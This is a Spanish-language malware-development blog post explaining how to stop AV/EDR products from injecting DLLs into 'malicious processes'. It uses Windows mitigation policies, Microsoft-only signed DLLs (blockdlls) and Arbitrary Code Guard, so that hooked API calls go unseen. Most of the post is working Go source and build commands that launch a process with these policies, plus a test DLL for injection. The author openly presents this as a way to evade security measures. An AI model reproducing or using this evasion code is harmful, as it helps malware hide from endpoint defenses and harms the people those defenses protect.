· Asparux · malware · 7 min read
Protección de procesos con blockdlls
Introducción
¡Hola de nuevo hackers!
Hoy explicaremos cómo funciona ACG y qué podemos hacer para evitar que se inyecten DLL externas en nuestros procesos maliciosos.
Explicación
Algunos AV/EDR inyectan sus DLL en nuestros procesos para enganchar el área de usuario, entonces, ¿qué pasa si nuestro proceso malicioso no permite que se inyecten? Bueno, no engancharían al usuario y nuestras llamadas API maliciosas no serán detectadas.
En Windows todos los procesos y subprocesos tienen “políticas” y “atributos” , existen algunos tipos de ellos.
Échale un vistazo: Aquí
Por ejemplo, un atributo es el DEP. La Prevención de ejecución de datos es una tecnología integrada en Windows que ayuda a protegerlo contra el lanzamiento de código ejecutable desde lugares donde no debería hacerlo. DEP hace eso al marcar algunas áreas de la memoria de su PC como solo para datos, no se permitirá que ningún código ejecutable o aplicaciones se ejecuten desde esas áreas de memoria.
Otro atributo, llamado **PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON**
, bloquea todas las DLL que no son firmadas por Microsoft, por lo que si intenta cargar una DLL personalizada en un proceso con este atributo, no se cargará.
Esta técnica se agregó a Cobalt Strike en 2019 con el comando “blockdlls” y luego @xpn investigó sobre eso y publicó sus fundamentos sobre cómo funcionaba, así que todos los créditos para él y su increíble trabajo.
También existe otra técnica para proteger nuestros procesos, utilizando el ACG Guard. @xpn también escribió sobre esto en la misma publicación. Es una medida de seguridad que se proporciona para evitar que el código asigne y/o modifique páginas ejecutables de memoria, a menudo necesaria para introducir código dinámico en un proceso. Entonces, si usamos esto con nuestro malware, los EDR no podrán asignar ni ejecutar páginas de memoria en nuestros procesos.
Veamos cómo podemos abordar algunas llamadas API y la lógica para hacerlo.
Código
package main
import (
"fmt"
"log"
"time"
"unsafe"
"golang.org/x/sys/windows"
)
/*
typedef struct _PROCESS_MITIGATION_DYNAMIC_CODE_POLICY {
union {
DWORD Flags;
struct {
DWORD ProhibitDynamicCode : 1;
DWORD AllowThreadOptOut : 1;
DWORD AllowRemoteDowngrade : 1;
DWORD AuditProhibitDynamicCode : 1;
DWORD ReservedFlags : 28;
} DUMMYSTRUCTNAME;
} DUMMYUNIONNAME;
} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY, *PPROCESS_MITIGATION_DYNAMIC_CODE_POLICY;
*/
type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
ProhibitDynamicCode uint32
}
func main(){
kernel32 := windows.NewLazyDLL("kernel32.dll")
SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
var ProcessDynamicCodePolicy int32 = 2
var dcp PROCESS_MITIGATION_DYNAMIC_CODE_POLICY
dcp.ProhibitDynamicCode = 1
fmt.Println("Calling SetProcessMitigationPolicy...")
ret, _, err := SetProcessMitigationPolicy.Call(
uintptr(ProcessDynamicCodePolicy),
uintptr(unsafe.Pointer(&dcp)),
unsafe.Sizeof(dcp),
)
if ret != 1 {
log.Fatal(err)
}
fmt.Println("ACG policy changed!")
for {
time.Sleep(1000 * time.Millisecond)
}
}
Para ver información de procesos usaremos Process Hacker , en caso de que no lo tenga en su Windows, debe instalarlo ya que es realmente útil con todo este tipo de equipo rojo y desarrollo de malware.
Compilamos el código
GOARCH=amd64 GOOS=windows go build acg.go
Ahora lo transferimos y ejecutamos en una máquina con Windows.
Como puede ver, si hacemos clic derecho en nuestro proceso y luego hacemos clic en Propiedades, vemos las Políticas de mitigación. En este caso dice “Código dinámico prohibido” para que podamos confirmar que el proceso está protegido por ACG Guard.
Ahora vayamos con la parte principal, el bloque de DLL no firmado por Microsoft.
Este código se basa en otra publicación de ired.team ver aquí. A lo largo del código hay comentarios y referencias para entender mejor lo que estamos haciendo.
package main
import (
"fmt"
"log"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
)
/*
Se requieren estructuras y constantes
para interactuar con las llamadas de la API de Windows
y procesos
*/
const (
PROC_THREAD_ATTRIBUTE_PARENT_PROCESS = 0x00020000
)
/*
typedef struct _STARTUPINFOEXA {
STARTUPINFOA StartupInfo;
LPPROC_THREAD_ATTRIBUTE_LIST lpAttributeList;
} STARTUPINFOEXA, *LPSTARTUPINFOEXA;
*/
type StartupInfoEx struct {
windows.StartupInfo
AttributeList *PROC_THREAD_ATTRIBUTE_LIST
}
/*
typedef struct _PROC_THREAD_ATTRIBUTE_LIST
{
DWORD dwFlags;
ULONG Size;
ULONG Count;
ULONG Reserved;
PULONG Unknown;
PROC_THREAD_ATTRIBUTE_ENTRY Entries[ANYSIZE_ARRAY];
} PROC_THREAD_ATTRIBUTE_LIST, *LPPROC_THREAD_ATTRIBUTE_LIST;
*/
type PROC_THREAD_ATTRIBUTE_LIST struct {
dwFlags uint32
size uint64
count uint64
reserved uint64
unknown *uint64
entries []*PROC_THREAD_ATTRIBUTE_ENTRY
}
/*
typedef struct _PROC_THREAD_ATTRIBUTE_ENTRY
{
DWORD_PTR Attribute; // PROC_THREAD_ATTRIBUTE_xxx
SIZE_T cbSize;
PVOID lpValue;
} PROC_THREAD_ATTRIBUTE_ENTRY, *LPPROC_THREAD_ATTRIBUTE_ENTRY;
*/
type PROC_THREAD_ATTRIBUTE_ENTRY struct {
attribute *uint32
cbSize uintptr
lpValue uintptr
}
// funcion de https://github.com/D00MFist/Go4aRun/blob/master/pkg/sliversyscalls/syscalls/zsyscalls_windows.go
// Todos los creditos a D00MFist <3
func CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
var _p0 uint32
if inheritHandles {
_p0 = 1
} else {
_p0 = 0
}
procCreateProcessW := windows.NewLazyDLL("kernel32.dll").NewProc("CreateProcessW")
r1, _, e1 := syscall.Syscall12(
procCreateProcessW.Addr(),
10,
uintptr(unsafe.Pointer(appName)), // lpApplicationName
uintptr(unsafe.Pointer(commandLine)), // lpCommandLine
uintptr(unsafe.Pointer(procSecurity)), // lpProcessAttributes
uintptr(unsafe.Pointer(threadSecurity)), // lpThreadAttributes
uintptr(_p0), // bInheritHandles
uintptr(creationFlags), // dwCreationFlags
uintptr(unsafe.Pointer(env)), // lpEnvironment
uintptr(unsafe.Pointer(currentDir)), // lpCurrentDirectory
uintptr(unsafe.Pointer(startupInfo)), // lpStartupInfo
uintptr(unsafe.Pointer(outProcInfo)), // lpProcessInformation
0,
0,
)
if r1 == 0 {
if e1 != 0 {
return e1
}
}
return
}
func main(){
fmt.Println("\n[+] Golang BlockDLLs")
// Importamos las dll y llamadas a la API
kernel32 := windows.NewLazyDLL("kernel32.dll")
InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
GetProcessHeap := kernel32.NewProc("GetProcessHeap")
HeapAlloc := kernel32.NewProc("HeapAlloc")
HeapFree := kernel32.NewProc("HeapFree")
fmt.Println("[*] Llamando a InitializeProcThreadAttributeList...")
lpSize := uintptr(0)
InitializeProcThreadAttributeList.Call(
0, // lpAttributeList
2, // dwAttributeCount
0, // dwFlags
uintptr(unsafe.Pointer(&lpSize)), // lpSize
)
fmt.Println("[*] Llamando a GetProcessHeap...")
procHeap, _, _ := GetProcessHeap.Call()
fmt.Println("[*] Llamando a HeapAlloc...")
attributeList, _, _ := HeapAlloc.Call(
procHeap,
0,
lpSize,
)
defer HeapFree.Call(procHeap, 0, attributeList)
var sInfo StartupInfoEx
sInfo.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
fmt.Println("[*] Llamando a InitializeProcThreadAttributeList...")
InitializeProcThreadAttributeList.Call(
uintptr(unsafe.Pointer(sInfo.AttributeList)), // lpAttributeList
2, // dwAttributeCount
0, // dwFlags
uintptr(unsafe.Pointer(&lpSize)), // lpSize
)
// PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
mitigate := 0x20007
nonms := uintptr(0x100000000000|0x1000000000)
fmt.Println("[*] Llamando a UpdateProcThreadAttribute...")
UpdateProcThreadAttribute.Call(
uintptr(unsafe.Pointer(sInfo.AttributeList)), // lpAttributeList
0, // dwFlags
uintptr(mitigate), // Attribute
uintptr(unsafe.Pointer(&nonms)), // lpValue
unsafe.Sizeof(nonms), // cbSize
0, // lpPreviousValue
0, // lpReturnSize
)
var si StartupInfoEx
si.AttributeList = sInfo.AttributeList
target := "C:\\Windows\\System32\\notepad.exe"
commandLine, _ := syscall.UTF16PtrFromString(target)
var pi windows.ProcessInformation
si.Cb = uint32(unsafe.Sizeof(si))
creationFlags := windows.EXTENDED_STARTUPINFO_PRESENT
fmt.Println("[*] Llamando a CreateProcessW...")
err := CreateProcess(
nil,
commandLine,
nil,
nil,
true,
uint32(creationFlags),
nil,
nil,
&si,
&pi,
)
if err != nil {
log.Fatal(err)
}
fmt.Println("[+] Proceso creado!\n")
}
Este código combina las técnicas anteriores discutidas anteriormente para lograr mejores resultados, ¿cómo podemos verificar esto? Simplemente, usaremos Process Hacker nuevamente.
Como puede ver, notepad.exe se inició como se esperaba y las políticas de mitigación se aplicaron como se esperaba. También codifiquemos una DLL simple (también en Golang) que genera un cuadro de mensaje y luego intentaremos inyectarla en notepad.exe. Process Hacker también tiene una función incorporada para inyectar una DLL en un proceso, así que no lo hagas. Preocúpate por eso.
package main
import (
"C"
"log"
"unsafe"
"syscall"
)
//export main
func main(){
ret, _, err := syscall.NewLazyDLL("user32.dll").NewProc("MessageBoxW").Call(
uintptr(0),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("Hello! :)"))),
uintptr(unsafe.Pointer(syscall.StringToUTF16Ptr("Example Box"))),
uintptr(0),
)
if ret != 0 {
log.Fatal(err)
}
}
Luego, para convertir este código en una DLL, compila el archivo de esta manera:
GOARCH=amd64 GOOS=windows CGO_ENABLED=1 CC=x86_64-w64-mingw32-gcc go build -buildmode=c-shared -ldflags="-w -s -H=windowsgui" -o dll_to_inject.dll dll_to_inject.go
Manifestación
Compila el código principal si aún no lo has hecho
GOARCH=amd64 GOOS=windows go build blockdll.go
Primero que nada probamos si nuestra DLL MessageBox funciona
¡Perfecto!
Ahora ejecutemos el .exe nuevamente e inyectemos nuestra DLL (dll_a_inyectar.dll) con Process Hacker , hagamos clic derecho en el proceso notepad.exe, luego vayamos a “Varios” -> “Inyectar DLL” y seleccionemos la DLL.
No pasará nada, pero si vas a “Propiedades” -> “Módulos” verás que se cargaron las DLL oficiales de Microsoft, pero no otras DLL como la nuestra.
Entonces finalmente podemos confirmar que esta técnica funciona y que otras DLL no se cargan en los procesos con estas políticas de mitigación.
Espero que hayas aprendido muchas cosas, como ACG Guard y las políticas de mitigación pueden ayudarnos a evadir las medidas de seguridad y cómo podemos crear archivos DLL maliciosos desde Golang.
Un saludo, ASPARUX.